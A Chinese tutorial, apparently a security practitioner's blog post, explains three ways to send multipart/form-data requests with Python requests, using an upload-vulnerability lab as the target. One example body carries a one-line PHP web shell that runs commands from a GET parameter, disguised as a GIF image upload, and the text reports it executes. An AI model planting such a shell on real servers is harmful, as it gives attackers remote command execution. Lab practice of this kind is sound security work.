多次脚本编写过程中,遇到请求体是FormData文件类型的请求,对如何使用Python3的requests模块来发送该类型请求,做简单记录。
假设需要发送如下的请求数据:
有三种方法
- 手动构造requests.post请求体传参
- 使用requests.post的files参数
- 使用requests_toolbelt的MultipartEncoder模块
但首先得了解一下文件格式multipart/form-data的请求包。
post请求中必须有Content-Type请求头,用于表示本次post数据的格式,基于post请求方式发送数据的有多种格式,用于不同的环境:
- application/x-www-form-urlencoded:原生post,键值对,简单的请求数据
1 2 3 4
| POST /test.html HTTP/1.1 Content-Type: application/x-www-form-urlencoded
user=admin&pass=123456
|
- application/json:原生post基础上,json形式,传递复杂键值对数据
1 2 3 4 5 6 7 8 9 10 11
| POST /test.html HTTP/1.1 Content-Type: application/json
{ "users": [ { "user": "admin", "pass": "123456" } ] }
|
- multipart/form-data:上传文件的默认格式,使用–boundary分割每一个表单数据,–boundary–作为所有数据结尾
1 2 3 4 5 6 7 8 9 10 11 12
| POST /test.html HTTP/1.1 Content-Type: multipart/form-data; boundary=6bb4837eb74329105ee4568dda7dc67ed2ca2ad9
--6bb4837eb74329105ee4568dda7dc67ed2ca2ad9 Content-Disposition: form-data; name="name"
admin --6bb4837eb74329105ee4568dda7dc67ed2ca2ad9 Content-Disposition: form-data; name="pass"
123456 --6bb4837eb74329105ee4568dda7dc67ed2ca2ad9--
|
如上,multipart/form-data格式的文件类型表单数据,看似与原生post请求不同,其实multipart/form-data的请求体也是字符串,只不过是有特定的请求头(Content-Type: multipart/form-data; boundary=–boundary)和特殊的请求体构造方式(–boundary分割数据,–boundary–结尾)的字符串,这是与基础post请求(name1=value1&name2=value2……)不同的地方,因此在做数据处理中,请求响应均可将其按照post字符串处理。
构造post请求体传参
和之前使用基础post请求格式一样,手动构造特定格式的请求体作为data参数,进行传参
需要指定Content-Type,且其值也必须规定为multipart/form-data,同时指定一个boundary用于分割数据,burp0_data定义为为所有参数的字符串格式,requests.post中指定data为burp0_data
注意:有结构的post请求体burp0_data内容必须顶格,存在缩进会导致解析失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| def send_post(): burp0_url = "http://1.116.192.238:5555/Pass-01/index.php" burp0_headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", "Content-Type": "multipart/form-data; boundary=---------------------------420857334818915960412654596244", } burp0_data = """ -----------------------------420857334818915960412654596244 Content-Disposition: form-data; name="upload_file"; filename="1234567.php" Content-Type: image/gif
GIF89a <?php @syStem($_GET["pwd"]);?> -----------------------------420857334818915960412654596244 Content-Disposition: form-data; name="submit"
上传 -----------------------------420857334818915960412654596244-- """.encode("utf-8") requests.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxie)
|
抓包效果如下:
可成功上传,解析
适用情况:有条件抓取现成的测试包,或者可从浏览器复制,否则手动构造这样的请求包并非明智之举。
requests.post的files参数
requests.post的files参数可直接发送文件类型格式的请求,files参数的数据定义格式有2种,字典格式和列表元组格式:
1 2 3 4 5 6 7 8 9 10 11
| files = { "file1": (open("./file.txt", "rb")), "file1": ("123.php", open("./file.txt", "rb"), "image/gif"), }
files = [ ("file1", open("/Downloads/hello.txt", "rb")), ("file2", open("/Downloads/hello2.txt", "rb")) ]
|
需要注意的是,files参数内只能填入待上传的文件,不能传入普通参数,当上传文件的同时还有其它参数需要赋值,可同时使用requests的data参数指定普通参数,类型为字典。
错误的使用:
1 2 3 4 5
| files = { "upload_file": ("123.php", open("./file.txt", "rb"), "image/gif"), "submit": "上传" } requests.post(url, files=files)
|
因为没有指定filename,因此自动将submit设定为filename,不符合预期的单纯传参
正确的使用:
1 2 3 4 5 6 7
| files = { "upload_file": ("123.php", open("./file.txt", "rb"), "image/gif"), } data = { "submit": "上传" } requests.post(url, files=files, data=data)
|
files和data参数搭配使用,即可实现上传文件同时对普通参数赋值。可成功上传解析。
适用情况:无法或难以抓包,直接利用模块生成相关数据包。
但是这种方法无法发送全都是普通参数的文件格式数据包,如下
上图请求中所有参数都是普通参数,但是使用multipart/form-data的文件格式进行传参,这种情况就需要用到第三种方法——第三方库requests_toolbelt的MultipartEncoder模块。
MultipartEncoder模块
第三方库requests_toolbelt可以看作是requests的请求工具扩展,其中的MultipartEncoder模块专门用于生成multipart/form-data表单数据,需手动安装才能使用
1
| pip install requests_toolbelt
|
requests_toolbelt官方文档:
https://toolbelt.readthedocs.io/en/latest/user.html
MultipartEncoder模块官方示例
1 2 3 4 5 6 7 8 9 10 11
| import requests from requests_toolbelt.multipart.encoder import MultipartEncoder
m = MultipartEncoder( fields={'field0': 'value', 'field1': 'value', 'field2': ('filename', open('file.py', 'rb'), 'text/plain')} )
r = requests.post('http://httpbin.org/post', data=m, headers={'Content-Type': m.content_type})
|
在使用MultipartEncoder初始化一个对象时,需要一个字典参数,字典内的内容与requests.post的files参数类似,不过同时也可以发送普通的非文件数据,参数分别如下:
- 发送文件内容:**参数名 : (文件名, 文件内容, 文件类型)**,其中文件名、文件类型均可省略
- 发送非文件内容:参数名 : 参数值
同时还需要在headers中指定Content-Type为MultipartEncoderObj.content_type,交由模块来自动补全。
一个完整的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def send_MultipartEncoder(): burp0_url = "http://1.116.192.238:5555/Pass-01/index.php" m = MultipartEncoder( { "upload_file": ("123.php", open("./file.txt", "rb"), "image/gif"), "submit": "上传", } ) req_headers = { "Content-Type": m.content_type, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", }
requests.post(burp0_url, headers=req_headers, data=m, verify=False)
|
upload_file是文件内容类型参数,submit是普通类型参数
使用也可以发送纯普通参数的表单数据请求,同时可将某参数内容置空
1 2 3 4 5 6 7
| m = MultipartEncoder( { "field1": "11111", "field2": "", "field3": "33333" } )
|
MultipartEncoder模块可以看作是requests.post的files参数的扩展,同时又是对data参数内容格式的自动构造。